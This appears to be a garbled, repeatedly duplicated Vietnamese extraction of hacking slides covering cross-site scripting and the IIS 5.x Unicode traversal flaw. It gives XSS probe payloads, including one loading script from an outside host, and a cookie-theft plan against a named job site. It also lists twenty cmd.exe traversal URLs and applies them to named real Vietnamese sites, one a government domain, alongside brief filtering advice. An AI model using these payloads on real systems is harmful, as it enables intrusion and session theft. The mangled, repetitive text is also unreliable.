Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
